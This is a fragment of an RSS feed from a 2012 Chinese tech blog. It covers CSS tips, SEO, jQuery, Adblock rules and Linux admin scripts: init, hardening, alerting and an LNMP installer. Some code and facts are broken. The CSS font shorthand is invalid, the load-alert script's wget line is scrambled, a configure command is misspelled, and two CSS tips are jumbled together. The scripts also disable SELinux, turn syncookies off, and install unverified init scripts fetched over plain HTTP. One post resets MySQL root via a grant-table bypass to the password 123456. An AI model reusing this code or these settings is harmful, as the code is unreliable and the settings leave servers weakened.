			<link>http://www.lvtao.net/html/1817.html</link>
			<pubDate>2012-02-02, 12:41:59</pubDate>
		</item>
		<item>
			<title>十条 CSS 你不知道的秘密</title>
			<author>memory</author>
			<description><![CDATA[1、 CSS 字体简写规则 
当使用 CSS 定义字体时你可能会这样做：
body{
font-family:Arial;
font-size:1em;
font-style:italic;
font-variant:small-caps;
font-weight:bold;
line-height:1.5em
}
事实上你可以简写这些属性：
body{font:Arial 1em/1.5em italic small-caps bold}
现在好多了吧，不过有一点要注意：使用这一简写方式你至少要指定 font-family 和 font-size 属性，其他的属性（如 font-style, font-varient, font-weight, line-height ）如未指定将自动使用默认值。

2、同时使用两个 class 类名
通常我们只为属性指定一个 class 类名，但这并不等于你只能指定一个，实际上，你想指定多少就可以指定多少，例如：
<p class="text side">...</p>
通过同时使用两个 class （使用空格而不是逗号分割），这个段落将同时应用两个 class 类名中制定的规则。如果两者中有任何规则重叠，那么后一个将获得实际的优先应用。

3、CSS中边框 border 的默认值
当编写一条边框的规则时，你通常会指定宽度、样式以及颜色（任何顺序均可）。例如：
div{
border:3px solid #000
}
（3 像素宽的黑色实线边框），其实这个例子中唯一需要指定的值只是样式。假如你指定样式为实线 solid ,那么其余的值将使用默认值：默认的宽度为中等（相当于 3 到 4 像素）；默认的颜色为边框里的文字颜色。如果这正是你想要的效果，你完全可以不在 CSS 里指定。

4、被 IE 忽略 !important 属性
在 CSS 中，通常最后指定的规则会获得优先权。然而对除了 IE 以外的浏览器来说，任何后面标有 !important 的语句将获得绝对的优先权，例如：
div{
margin-top:3.5em !important;
margin-top:2em
}
除 IE 以外所有浏览器中的顶部边界都是 3.5em ，而IE为 2em ，有时候这一点很有用，尤其在使用相对边界值时（就像这个例子），可以显示出IE与其他浏览器的细微差别。
（很多人可能还注意到了 CSS 的子选择器也是会被 IE 忽略的）。

5、图片替换的技巧
使用标准的 html 而不是图片来显示文字通常更为明智，除了加快下载还可以获得更好的可用性。但是如果你决心使用访问者的机器中可能没有的字体时，你只能选择图片。
举例来说，你想在每一页的顶部使用 “Buy widgets” 的标题，但你同时又希望这是能被搜索引擎发现的，为了美观你使用了少见的字体那么你就得用图片来显示了：
<h1><img src="widget-image.gif" alt="Buy widgets"/></h1>
这样当然没错，但是有证据显示搜索引擎对真实文本的重视远超过 alt 文本（因为已经有太多网站使用 alt 文本充当关键字），因此，我们得用另一种方法：
<h1>Buy widgets</h1>
那你的漂亮字体怎么办呢？下面的 CSS 可以帮上忙：
h1{
background:url(widget-image.gif) no-repeat;
height:image height;
text-indent:-2000px;
}
现在你既用上了漂亮的图片又很好的隐藏了真实文本 —— 借助 CSS ，文本被定位于屏幕左侧 -2000 像素处。

6、CSS 盒子模型 hack 的另一选择
CSS 盒子模型 hack 被用来解决 IE6.0 之前的浏览器显示问题， IE6.0 之前的版本会把某元素的边框值和填充值包含在宽度之内（而不是加在宽度值上）。例如，你可能会使用以下 CSS 来指定某个容器的尺寸：
#box{
width:100px;
border:5px;
padding:20px
}
然后在 html 中应用：
<div id="box">...</div>
盒的总宽度在几乎所有浏览器中为 150 像素（ 100 像素宽度+两条 5 像素的边框+两个 20 像素的填充），唯独在 IE6 之前版本的浏览器中仍然为 100 像素（边框值和填充值包含在宽度值中），盒模型的 hack 正是为了解决这一问题，但是也会带来麻烦。更简单的办法如下：
css:
#box{
width:150px
}
#box div{
border:5px;
padding:20px
}
html:
<div id="box"><div>...</div></div>
这样一来在任何浏览器中盒的总宽度都将是 150 像素。

7、将块元素居中
假设你的网站使用了固定宽度的布局，所有的内容置于屏幕中央，可以使用以下的 CSS ：
#content{
width:960px;
margin:0 auto
}
你可以把 html 的 body 之内任何项目置于
#content{
width:960px;
margin:0 auto
} 

8、使用 CSS 实现垂直居中中，该项目将自动获得相等的左右边界值从而保证了居中显示。
垂直居中对表格来说是小菜一碟，只需指定单元格为：'
table td{
vertical-align:middle
}
即可，但这在 CSS 布局中不管用。假设你将一个导航菜单的高度设为 2em ，然后在 CSS 中指定垂直对齐的规则，文字还是会被排到盒的顶部，根本没有什么区别。
要解决这一问题，只需将盒的行高设为与盒的高度相同即可，以这个例子来说，盒高 2em ，那么只需在 CSS 中再加入如下代码：
p{
height: 2em;
line-height: 2em
}
就可实现垂直居中了！

9、容器内的 CSS 定位
CSS 的最大优点之一就是可以将对象定位在文档的任何位置，同样的也可以将对象在某容器内进行定位。只需要为该容器添加一条 CSS 规则：
#container{
position:relative
}
则容器内的任何元素的定位都是相对于该容器的。假定你使用以下 html 结构：
<div id="container"><div id="navigation">...</div></div>
如果想将 navigation 定位在容器内离左边界 30 像素，离顶部 5 像素，可以使用以下 CSS 语句：
#navigation{
position:absolute;
left:30px;
top:5px
}

10、延伸至屏幕底部的背景色
CSS 的缺点之一是缺乏垂直方向的控制，从而导致了一个表格布局不会遇到的问题。假设你在页面的左侧设定了一列用于放置网站的导航。页面为白色背景，但你希望导航所在的列为蓝色背景，使用以下 CSS 即可：
#navigation{
background:blue;
width:150px
}
问题在于导航项不会一直延伸到页面的底部，自然它的背景色也不会延伸到底部。于是左列的蓝色背景在页面上被半路截断，浪费了你的一番设计。怎么办呢？很不幸我们现在只能用欺骗的办法，即将 body 的背景指定为与左列同颜色同宽度的图片，CSS 如下：
body{
background:url(blue-image.gif) repeat-y
}
背景图应为宽 150 像素的蓝色图片。这一办法的缺点是没法使用 em 来指定左列的宽度，当用户改变文字的大小导致内容的宽度扩张时，背景色的宽度不会随之改变。
到写这篇文章为止这是对这类问题的唯一解决办法，因此你只能为左列使用像素值来获得能够自动延伸的不同的背景色。 ]]></description>
			<link>http://www.lvtao.net/html/1816.html</link>
			<pubDate>2012-02-02, 11:47:04</pubDate>
		</item>
		<item>
			<title>SEO 基础指南入门手册请知道以下规则</title>
			<author>memory</author>
			<description><![CDATA[SEO 基础指南的大纲及摘要如下：

内容建设

    关键词（选择、长尾、密度、不隐藏）
    针对访问人群，选择稳定服务器
    定期更新
    原创>伪原创>采集（分批分段采集，采集不同的站）
    有效使用关键词工具，预见用户感兴趣的内容
    文章类型针对同一领域，跨幅不宜过大
    h1~h6标签，谨慎多次使用

标签的写法

    title（上线后避免修改、独一无二）
    meta不重复（keywords,description）
    img（alt）
    a（title）
    权重（h1~h6,strong,em,b,i,dt）
    nofollow（拓展go.php robots.txt写法）
    <link rel=”canonical” href=”http://www.cssesu.com/” />

站内URL优化

    301统一访问地址，集中权重（.htaccess写法）避免修改url
    404设置
    伪静态（目录 > .html > .php > .php?hr=）
    url包含关键字(域名不宜过长，url具有可描述性，统一小写)
    避免汉字及特殊符号（连词符可用中划线“-”，等于空格）
    js及swf内链接，很难被搜索引擎读取（不使用iframe结构）
    目录结构不宜过深（内部交叉链接、面包屑导航 sitemap）

链接运用

    导入链接数目
    导入链接的质量（pagerank）
    外链增加的速度、对方站点内容、域名年龄及收录日期、锚文字、文字是否变化、还链向哪些站点、链接点击率、停留时间
    没有任何内外链的页面是不友好的
    trackback、pingback 与 XML-RPC
]]></description>
			<link>http://www.lvtao.net/html/1815.html</link>
			<pubDate>2012-02-02, 11:42:04</pubDate>
		</item>
		<item>
			<title>windows忘记mysql的root密码之强制修改mysql密码方法</title>
			<author>memory</author>
			<description><![CDATA[windows忘记mysql的root密码之强制修改mysql密码方法
有时候密码太多忘记了mysql的密码，本文图解强制修改root密码的方法
1、打开cmd命令窗口，先输入命令：

      net stop mysql    回车     #关闭mysql服务。

      进入到D:\SOFT_PHP_PACKAGE\mysql\bin\ 目录下，执行mysqld-nt --skip-grant-tables  启动MySQL Server   如图：

[img]/attachment/day_120201/201202011642171917.jpg[/img]



      2、另外打开一个cmd窗口， 依次输入以下命令，将root账户密码重置为123456。(命令输入部分用红色标注)
mysql
mysql>use mysql;
mysql> update user set password=password("123456") where user="root";
mysql>flush privileges;
exit

如图：

[img]/attachment/day_120201/201202011642355113.jpg[/img]

3、关闭两个命令窗口，此时还无法启动mysql因为mysqld-nt.exe进程还在运行中，打开任务管理器，找到mysqld-nt.exe进程，点结束进程，如图：

[img]/attachment/day_120201/201202011642466265.jpg[/img]

4、输入命令：net start mysql  启动mysql，或者进服务启动mysql，就可以用root账户和新密码登陆管理了]]></description>
			<link>http://www.lvtao.net/html/1814.html</link>
			<pubDate>2012-02-01, 16:44:38</pubDate>
		</item>
		<item>
			<title>Adblock Plus — 网络从此清净无扰 添加自定义过滤规则 排除指定站点广告</title>
			<author>memory</author>
			<description><![CDATA[基本规则：
http://lvtao.net/ads/banner*.gif （过滤所有 http://lvtao.net/ads/banner1.gif http://lvtao.net/ads/banner22.gif 等）

白名单：
@@advice （不过滤网址中含有 advice 的）
@@|http://lvtao.net （不过滤该网站中的所有网页）

结束符号：
swf| （过滤所有 swf 结尾的）
|http://lvtao.net/ （过滤所有 http://lvtao.net/ 开始的）
||lvtao.net/banner.gif]]></description>
			<link>http://www.lvtao.net/html/1813.html</link>
			<pubDate>2012-01-31, 17:47:36</pubDate>
		</item>
		<item>
			<title>jquery随屏滚动代码</title>
			<author>memory</author>
			<description><![CDATA[在实现这个功能之前，先复习一下jQuery的API

animate(params, options)：
用于创建自定义动画的函数。

这个函数的关键在于指定动画形式及结果样式属性对象。这个对象中每个属性都表示一个可以变化的样式属性（如"height"、"top" 或"opacity"）。注意：所有指定的属性必须用骆驼形式，比如用marginLeft代替margin-left.

而每个属性的值表示这个样式属性到多少时动画结束。如果是一个数值，样式属性就会从当前的值渐变到指定的值。如果使用的是"hide"、"show" 或"toggle"这样的字符串值，则会为该属性调用默认的动画形式。

在 jQuery 1.2 中，你可以使用 em 和 % 单位。另外，在 jQuery 1.2 中，你可以通过在属性值前面指定 "+=" 或 "-=" 来让元素做相对运动。

实现随屏幕滚动的层代码如下：
[code]$(function() {      
var dom = $("#ad");  
    var menuYloc = dom.offset().top;      
    $(window).scroll(function() {      
        var offsetTop = menuYloc + $(window).scrollTop() + "px";      
        $(dom).animate({ top: offsetTop }, { duration: 300, queue: false });      
    });      
});   [/code]]]></description>
			<link>http://www.lvtao.net/html/1812.html</link>
			<pubDate>2012-01-30, 12:23:55</pubDate>
		</item>
		<item>
			<title>Linux 基本系统初始化脚本第一版  用于新装linux系统初始化工作</title>
			<author>memory</author>
			<description><![CDATA[继续共享线上脚本，本脚本主要用于新装linux系统初始化工作。
[code]    #!/bin/sh 
    # desc:  coralzd modified by www.freebsdsystem.org  www.linuxtone.org 
    #-------------------cut begin------------------------------------------- 
    #welcome 
    cat << EOF 
    +--------------------------------------------------------------+ 
    |         === Welcome to Centos System init ===                | 
    +--------------http://www.linuxtone.org------------------------+ 
    +----------------------Author:NetSeek--------------------------+ 
    EOF 
     
    #disable ipv6 
    cat << EOF 
    +--------------------------------------------------------------+ 
    |         === Welcome to Disable IPV6 ===                      | 
    +--------------------------------------------------------------+ 
    EOF 
    echo "alias net-pf-10 off" >> /etc/modprobe.conf 
    echo "alias ipv6 off" >> /etc/modprobe.conf 
    /sbin/chkconfig --level 35 ip6tables off 
    echo "ipv6 is disabled!" 
     
    #disable selinux 
    sed -i '/SELINUX/s/enforcing/disabled/' /etc/selinux/config 
    echo "selinux is disabled,you must reboot!" 
     
    #vim 
    sed -i "8 s/^/alias vi='vim'/" /root/.bashrc 
    echo 'syntax on' > /root/.vimrc 
     
    #zh_cn 
    sed -i -e 's/^LANG=.*/LANG="zh_CN.UTF-8"/'   /etc/sysconfig/i18n 
    # configure file max to 52100 
    echo "*                soft              nofile             52100 
    *                             hard              nofile             52100" >> /etc/security/limits.conf 
     
    #tunoff services 
    #-------------------------------------------------------------------------------- 
    cat << EOF 
    +--------------------------------------------------------------+ 
    |         === Welcome to Tunoff services ===                   | 
    +--------------------------------------------------------------+ 
    EOF 
    #--------------------------------------------------------------------------------- 
    for i in `ls /etc/rc3.d/S*` 
    do 
                  CURSRV=`echo $i|cut -c 15-` 
     
    echo $CURSRV 
    case $CURSRV in 
              crond | irqbalance | microcode_ctl | network | random | sendmail | sshd | syslog | local | mysqld ) 
          echo "Base services, Skip!" 
          ;; 
          *) 
              echo "change $CURSRV to off" 
              chkconfig --level 235 $CURSRV off 
              service $CURSRV stop 
          ;; 
    esac 
    done 
    rm -rf /etc/sysctl.conf 
    echo "net.ipv4.ip_forward = 0 
    net.ipv4.conf.default.rp_filter = 1 
    net.ipv4.conf.default.accept_source_route = 0 
    kernel.sysrq = 0 
    kernel.core_uses_pid = 1 
    net.ipv4.tcp_syncookies = 1 
    kernel.msgmnb = 65536 
    kernel.msgmax = 65536 
    kernel.shmmax = 68719476736 
    kernel.shmall = 134217728 
    net.ipv4.ip_local_port_range = 1024 65536 
    net.core.rmem_max = 16777216 
    net.core.wmem_max = 16777216 
    net.ipv4.tcp_rmem = 4096 87380 16777216 
    net.ipv4.tcp_wmem = 4096 65536 16777216 
    net.ipv4.tcp_fin_timeout = 3 
    net.ipv4.tcp_tw_recycle = 1 
    net.core.netdev_max_backlog = 30000 
    net.ipv4.tcp_no_metrics_save = 1 
    net.core.somaxconn = 262144 
    net.ipv4.tcp_syncookies = 0 
    net.ipv4.tcp_max_orphans = 262144 
    net.ipv4.tcp_max_syn_backlog = 262144 
    net.ipv4.tcp_synack_retries = 2 
    net.ipv4.tcp_syn_retries = 2 
    vm.swappiness = 3" >> /etc/sysctl.conf 
    echo "optimizited kernel configure was done!" [/code]]]></description>
			<link>http://www.lvtao.net/html/1811.html</link>
			<pubDate>2012-01-29, 11:56:28</pubDate>
		</item>
		<item>
			<title>linux安全配置脚本</title>
			<author>memory</author>
			<description><![CDATA[本脚本是第二次更新，已经大量应用在某大型媒体网站体系中，加入了之前没有想到的一些安全设置。使用方法将其复制，保存为一个shell文件，比如security.sh.将其上传到linux服务器上，执行sh security.sh，就可以使用该脚本了！
[code]    #!/bin/sh 
    # desc: setup linux system security 
    # author:coralzd 
    # powered by www.freebsdsystem.org 
    # version 0.1.2 written by 2011.05.03 
    #account setup 
     
    passwd -l xfs 
    passwd -l news 
    passwd -l nscd 
    passwd -l dbus 
    passwd -l vcsa 
    passwd -l games 
    passwd -l nobody 
    passwd -l avahi 
    passwd -l haldaemon 
    passwd -l gopher 
    passwd -l ftp 
    passwd -l mailnull 
    passwd -l pcap 
    passwd -l mail 
    passwd -l shutdown 
    passwd -l halt 
    passwd -l uucp 
    passwd -l operator 
    passwd -l sync 
    passwd -l adm 
    passwd -l lp 
     
    # chattr /etc/passwd /etc/shadow 
    chattr +i /etc/passwd 
    chattr +i /etc/shadow 
    chattr +i /etc/group 
    chattr +i /etc/gshadow 
    # add continue input failure 3 ,passwd unlock time 5 minite 
    sed -i 's#auth        required      pam_env.so#auth        required      pam_env.so\nauth       required       pam_tally.so  onerr=fail deny=3 unlock_time=300\nauth           required     /lib/security/$ISA/pam_tally.so onerr=fail deny=3 unlock_time=300#' /etc/pam.d/system-auth 
    # system timeout 5 minite auto logout 
    echo "TMOUT=300" >>/etc/profile 
     
    # will system save history command list to 10 
    sed -i "s/HISTSIZE=1000/HISTSIZE=10/" /etc/profile 
     
    # enable /etc/profile go! 
    source /etc/profile 
     
    # add syncookie enable /etc/sysctl.conf 
    echo "net.ipv4.tcp_syncookies=1" >> /etc/sysctl.conf 
     
    sysctl -p # exec sysctl.conf enable 
    # optimizer sshd_config 
     
    sed -i "s/#MaxAuthTries 6/MaxAuthTries 6/" /etc/ssh/sshd_config 
    sed -i  "s/#UseDNS yes/UseDNS no/" /etc/ssh/sshd_config 
     
    # limit chmod important commands 
    chmod 700 /bin/ping 
    chmod 700 /usr/bin/finger 
    chmod 700 /usr/bin/who 
    chmod 700 /usr/bin/w 
    chmod 700 /usr/bin/locate 
    chmod 700 /usr/bin/whereis 
    chmod 700 /sbin/ifconfig 
    chmod 700 /usr/bin/pico 
    chmod 700 /bin/vi 
    chmod 700 /usr/bin/which 
    chmod 700 /usr/bin/gcc 
    chmod 700 /usr/bin/make 
    chmod 700 /bin/rpm 
     
    # history security 
     
    chattr +a /root/.bash_history 
    chattr +i /root/.bash_history 
     
    # write important command md5 
    cat > list << "EOF" && 
    /bin/ping 
    /bin/finger 
    /usr/bin/who 
    /usr/bin/w 
    /usr/bin/locate 
    /usr/bin/whereis 
    /sbin/ifconfig 
    /bin/pico 
    /bin/vi 
    /usr/bin/vim 
    /usr/bin/which 
    /usr/bin/gcc 
    /usr/bin/make 
    /bin/rpm 
    EOF 
     
    for i in `cat list` 
    do 
       if [ ! -x $i ];then 
       echo "$i not found,no md5sum!" 
      else 
       md5sum $i >> /var/log/`hostname`.log 
      fi 
    done 
    rm -f list [/code]]]></description>
			<link>http://www.lvtao.net/html/1810.html</link>
			<pubDate>2012-01-29, 11:55:36</pubDate>
		</item>
		<item>
			<title>文件防篡改脚本，一有文件被修改，立即发送报警短信。</title>
			<author>memory</author>
			<description><![CDATA[文件防篡改脚本，一有文件被修改，立即发送报警短信。
[code]    #!/bin/bash  
    #description： check files shell  
    #author：coralzd powered by www.freebsdsystem.org  
    checkdir=/data/www/bbs.xxx.com  
     
    ipadd=`ifconfig |grep "inet" |cut -c 0-36|sed -e 's/[a-zA-Z: ]//g' |grep -v "127.0.0.1"`  
     
    while [ 1 ]  
    do  
      DATE=`date +%Y-%m-%d.%H:%M:%S`  
      find ${checkdir} \( -path ${checkdir}/forumdata/threadcaches -o -path  ${checkdir}/forumdata_1/threadcaches -o -path  ${checkdir}/forumdata_1/templates  -o -path ${checkdir}/f  
    orumdata_1/cache -o -path ${checkdir}/forumdata/dzwxuser -o -path ${checkdir}/attachments -o -path ${checkdir}/forumdata/cache -o -path ${checkdir}/forumdata/templates -o -path  
    ${checkdir}/forumdata/dzwxuser -o -path ${checkdir}/dzwxuserid/cache -o -path ${checkdir}/forumdata_1 \) -prune -o -name "*php" -mmin -1 -print >/tmp/tmpdd  
      SZ=`ls -la /tmp/tmpdd|awk '{print $5}'`  
      if [ "${SZ}" -gt "2" ]; then  
            SN=`cat /tmp/tmpdd`  
        echo ${DATE} ${SN} >>/var/tmp/checkfile.log  
        wget http://10.10.10.10/phpsms/smsu.php?phone=15012345678\&msg=%E7%95%99%E6%84%8F%EF%BC%9A${ipadd}_%E5%8F%AF%E8%83%BD%E5%87%BA%E7%8E%B0%E6%96%87%E4%BB%B6%E7%AF%A
    1%E6%94%B9 -O /dev/null >/dev/null 2>&1 
      fi  
      sleep 60 
    done [/code]]]></description>
			<link>http://www.lvtao.net/html/1809.html</link>
			<pubDate>2012-01-29, 11:53:29</pubDate>
		</item>
		<item>
			<title>linux 负载报警脚本第一版</title>
			<author>memory</author>
			<description><![CDATA[linux 负载报警脚本,系统负载超过一定数值，就重启php-cgi，并发送报警短信。
[code]    #!/bin/sh  
    #description：system load average  
    #author：coralzd powered by www.freebsdsystem.org  
    host=$(hostname)  
    channel=$(hostname | sed 's/[0-9]//g')  
    runday=$(date "+%Y-%m-%d")  
    IPhost=$(/sbin/ifconfig  | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}')  
    i=10  
      while [ 1 ];do 
    rundaytime=$(date "+%Y-%m-%d %H:%M:%S")  
    L=$(cat /proc/loadavg|cut -c1-4)  
    RESULT=$(echo "$L > $i"|bc)  
    if [ "${RESULT}" == "$i" ]; then  
    echo "$runday" >> /var/tmp/${host}.txt  
    wget http: -O /dev/null >/dev/null 2>&1 //10.10.10.10/phpsms/smsu.php?phone=15012345678\&msg=warning%20${IPhost}%20Load%20avarage%20is%20high 
    /usr/local/php52/sbin/php-fpm restart  
    echo "${runday}" >> /var/log/${host}.txt  
    echo "The system load average is 10+ ,php-fpm already restart" >> /var/log/${host}.txt  
    fi  
    sleep 600  
    done [/code]]]></description>
			<link>http://www.lvtao.net/html/1808.html</link>
			<pubDate>2012-01-29, 11:52:48</pubDate>
		</item>
		<item>
			<title>生产服务器LNMP全自动安装脚本</title>
			<author>memory</author>
			<description><![CDATA[此脚本在生产服务器上使用了一年多，可以在任何一台有网络的服务器上自动配置LNMP。

使用方法：将nginx_php代码保存一个文件，例如nginx_php。上传到服务器上执行。

此脚本在CentOS 5.6 i386/x86_64环境下通过。

bash nginx_php出现提示
根据大家自己的需要选择数字中任意一个，开始全自动安装LNMP的世界中去吧。
如果之前安装过nginx或者 php 的话，脚本会自动检测它们是不是安装过。例如选择5，安装php
就会提示nginx或者php 已经安装过了。

nginx_php 源码
[code]#!/bin/bash
# author:coralzd powered by www.freebsdsystem.org
# written by coralzd 2011.09.30
# version 0.1.5 build 20110930

nginx_dir="/usr/local/nginx"
php52_dir="/usr/local/php52"
mysql_dir="/usr/local/mysql"

function check_init() #检测初始化工作有没有执行
{
   if [ `rpm -qa |grep re2c` == "re2c-0.12.1-2.el5.x86_64" ];then
   echo "init already exec!"
   exit 0
   fi
}
 
function check_nginx() #检测nginx有没有安装
{
   if [ -d /usr/local/nginx/ ];then
    echo "nginx already installed!"
   exit 1     
   fi
}

function check_php52() #检测php有没有安装
{
   if [ -d /usr/local/php52 ];then
     echo "php 5.2.17 already installed!"
    exit 1
   fi
}

function check_mysql() #检测mysql有没有安装
{
    if [ -d /usr/local/mysql/ ];then
    echo -n "mysql already installed!"
    exit 1
    fi
}
function init() #系统初始化工作
{
yum -y install wget gcc gcc-c++ autoconf bison flex re2c  libmhash libjpeg libjpeg-devel libpng libpng-devel \
freetype freetype-devel gd gd-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel \
bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5-devel libidn libidn-devel openssl openssl-devel 
       
echo -n "starting download nginx_php ..."
cat > list << "EOF" &&
nginx-1.0.1.tar.gz
php-5.2.17.tar.gz
php-5.2.17-fpm-0.5.14.diff.gz
libiconv-1.13.1.tar.gz
libmcrypt-2.5.8.tar.gz
mcrypt-2.6.8.tar.gz
memcache-2.2.5.tgz
mhash-0.9.9.9.tar.gz
mysql-5.1.58.tar.gz
suhosin-patch-5.2.17-0.9.7.patch
pcre-8.10.tar.gz
autoconf-2.13.tar.gz
eaccelerator-0.9.5.3.tar.bz2
PDO_MYSQL-1.0.2.tgz
libunwind-0.99.tar.gz
ImageMagick.tar.gz
imagick-2.3.0.tgz
google-perftools-1.6.tar.gz
fcgi.conf
php.ini
php-fpm
nginxd
my.cnf
nginx.conf
php-fpm.conf
EOF
mkdir packages
        for i in `cat list`
do
if [ -s packages/$i ]; then
  echo "$i [found]"
else
  echo "Error: $i not found!!!download now......"
  wget http://www.freebsdsystem.org/linux/nginx-php/$i -P packages/
fi

done
mv packages/nginxd /etc/init.d/
mv packages/php-fpm /etc/init.d/
chmod 755 /etc/init.d/*
chkconfig --add nginxd
chkconfig --add php-fpm
echo "create the eaccelerator directory to /data0/cache"
mkdir /data0/cache
echo "create the mysql data directory to /data0/mysql/data"
mkdir -p /data0/mysql/data
echo "PATH=/usr/local/mysql/bin/:$PATH" >> /etc/profile
source  /etc/profile
groupadd -g 80 www &&  useradd www -s /sbin/nologin -g www -u 80
groupadd -g 3306 mysql && useradd mysql -s /sbin/nologin -g mysql -u 3306
echo "www and mysql user && group create!"
cd packages/
/bin/rm -rf list
echo -e "All of installed sucussful!"

}
function is_version() #检测系统是64位的还是32位的?
{
if [ `uname -m` == "x86_64" ];then
tar zxf libunwind-0.99.tar.gz
tar zxvf libunwind-0.99.tar.gz
cd libunwind-0.99/
CFLAGS=-fPIC ./configure
make CFLAGS=-fPIC
make CFLAGS=-fPIC install
cd ../
else
        echo "your system is 32bit ,not install libunwind lib!"
fi

}
function ins_nginx()#安装nginx
{
check_nginx
cd packages/
is_version
tar zxf google-perftools-1.6.tar.gz
cd google-perftools*
./configure
make
make install
cd ..
tar zxf pcre-8.10.tar.gz
cd pcre-*
./configure 
make
make install 
cd ..
tar zxf nginx-1.0.1.tar.gz
cd nginx-1.0.1
./configure --prefix=${nginx_dir} --user=www --group=www --with-http_stub_status_module   
make && make install
cd .. 
rm -rf /usr/local/nginx/conf/nginx.conf
echo "/usr/local/lib" > /etc/ld.so.conf.d/usr_local_lib.conf 
cp nginx.conf /usr/local/nginx/conf/
cp fcgi.conf /usr/local/nginx/conf/
echo "nginx installed sucussfully!"
}
function ins_mysqlserver()# 安装mysql服务端
{
cd packages/
tar zxf mysql-5.1.58.tar.gz
cd mysql-5.1.58
CHOST="x86_64-pc-linux-gnu"
CFLAGS="-march=nocona -O2 -pipe"
CXXFLAGS="${CFLAGS}"
./configure --prefix=/usr/local/mysql --enable-assembler --with-server-suffix=-DZWWW --enable-thread-safe-client --enable-local-infile --enable-thread-safe-client --with-big-tables --with-charset=utf8 --with-client-ldflags=-all-static --with-collation=utf8_general_ci --with-extra-charsets=all --with-mysqld-ldflags=-all-static --with-mysqld-ldflags=-ltcmalloc  --with-mysqld-user=mysql --with-plugins=partition,myisammrg --with-pthread --with-unix-socket-path=/tmp/mysql.sock --without-ndb-debug 
make && make install 
cp support-*/mysql.server /etc/init.d/mysqld
cp my.cnf /etc/
chmod 744 /etc/init.d/mysqld
cd /usr/local/mysql
chown -R mysql:mysql .
rm -rf sql-bench mysql-test
mkdir -p /data0/mysql/relaylog/
mkdir -p /data0/mysql/binlog/
chown -R mysql.mysql /data0/mysql
/usr/local/mysql/bin/mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/data0/mysql/data
echo "mysql server  5.1.58 installed successfully!"
}
function ins_mysqlclient() #安装mysql客户端
{
cd packages/
tar zxf mysql-5.1.58.tar.gz
cd mysql-5.1.58
CHOST="x86_64-pc-linux-gnu"
CFLAGS="-march=nocona -O2 -pipe"
CXXFLAGS="${CFLAGS}"
./configure "--prefix=${mysql_dir}"   "--with-mysqld-user=mysql"   "--without-debug" "--with-charset=utf8"  "--with-extra-charsets=all"  "--with-pthread" "--with-big-tables" "--enable-thread-safe-client" "--enable-assembler" "--with-readline" "--with-ssl" "--enable-local-infile"  "--without-server" 
make && make install
cd /usr/local/mysql
chown -R mysql:mysql .
rm -rf sql-bench mysql-test
echo "mysql client  5.1.58 installed successfully!"
}
function ins_php52()#安装php 
{
check_php52
cd packages/
tar zxf libiconv-1.13.1.tar.gz
cd libiconv-1.13.1/
./configure --prefix=/usr/local
make
make install
cd ../
tar zxf autoconf-2.13.tar.gz
cd autoconf-2.13
./configuire --prefix=/usr
make && make install
cd ..
tar zxf libmcrypt-2.5.8.tar.gz
cd libmcrypt-2.5.8/
./configure
make
make install
/sbin/ldconfig
cd libltdl/
./configure --enable-ltdl-install
make
make install
cd ../../
tar zxf mhash-0.9.9.9.tar.gz
cd mhash-0.9.9.9/
./configure
make
make install
cd ../
ln -s /usr/local/lib/libmcrypt.la /usr/lib/libmcrypt.la
ln -s /usr/local/lib/libmcrypt.so /usr/lib/libmcrypt.so
ln -s /usr/local/lib/libmcrypt.so.4 /usr/lib/libmcrypt.so.4
ln -s /usr/local/lib/libmcrypt.so.4.4.8 /usr/lib/libmcrypt.so.4.4.8
ln -s /usr/local/lib/libmhash.a /usr/lib/libmhash.a
ln -s /usr/local/lib/libmhash.la /usr/lib/libmhash.la
ln -s /usr/local/lib/libmhash.so /usr/lib/libmhash.so
ln -s /usr/local/lib/libmhash.so.2 /usr/lib/libmhash.so.2
ln -s /usr/local/lib/libmhash.so.2.0.1 /usr/lib/libmhash.so.2.0.1
ln -s /usr/local/bin/libmcrypt-config /usr/bin/libmcrypt-config

tar zxf mcrypt-2.6.8.tar.gz
cd mcrypt-2.6.8/
/sbin/ldconfig
./configure
make
make install
cd ../

tar zxf php-5.2.17.tar.gz
gzip -cd php-5.2.17-fpm-0.5.14.diff.gz | patch -d php-5.2.17 -p1
cd php-5.2.17/
patch -p1 -i ../suhosin-patch-5.2.17-0.9.7.patch
./buildconf --force  
./configure --prefix=${php52_dir} --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-config-file-path=${php52_dir}/etc  --with-iconv-dir=/usr/local --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir=/usr --enable-xml --disable-rpath --enable-discard-path --enable-safe-mode --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --with-curl --with-curlwrappers --enable-mbregex --enable-fastcgi --enable-fpm --enable-force-cgi-redirect --enable-mbstring --with-mcrypt --with-gd --enable-gd-native-ttf --with-openssl --with-mhash --enable-pcntl --enable-sockets --with-ldap --with-ldap-sasl --with-xmlrpc --enable-zip --enable-soap --enable-suhosin --enable-ftp 
make ZEND_EXTRA_LIBS='-liconv'
make install
cd ..
cp php.ini /usr/local/php52/etc/
cp php-fpm.conf /usr/local/php52/etc/

echo "/usr/local/mysql/lib/mysql" >> /etc/ld.so.conf.d/mysql_lib.conf
/sbin/ldconfig
echo "php52 installed successfully!"
}

function ins_php52ext() #安装php 扩展
{
cd packages/
tar zxf memcache-2.2.5.tgz
cd memcache-2.2.5/
${php52_dir}/bin/phpize
./configure --with-php-config=${php52_dir}/bin/php-config
make
make install
cd ../

tar jxf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
${php52_dir}/bin/phpize
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=${php52_dir}/bin/php-config
make
make install
cd ../

tar zxf ImageMagick.tar.gz
cd ImageMagick-6.5.1-2/
./configure
make
make install
cd ../
tar zxf imagick-2.3.0.tgz
cd imagick-2.3.0/
${php52_dir}/bin/phpize
./configure --with-php-config=${php52_dir}/bin/php-config
make
make install
cd ..

echo "php52 extension installed successfully!"

}
cat << EOF
-* The script is advocating a simple aesthetic, only one file to complete downloading, extract, configure, compile and install Nginx php mysql *-
-* 1  only install nginx                                                                                                                       *-
-* 2  only install nginx php                                                                                                                   *-
-*  3  installation of all(include nginx php mysql)                                                                                             *-
-*  4  only download software, no installation other                                                                                            *-
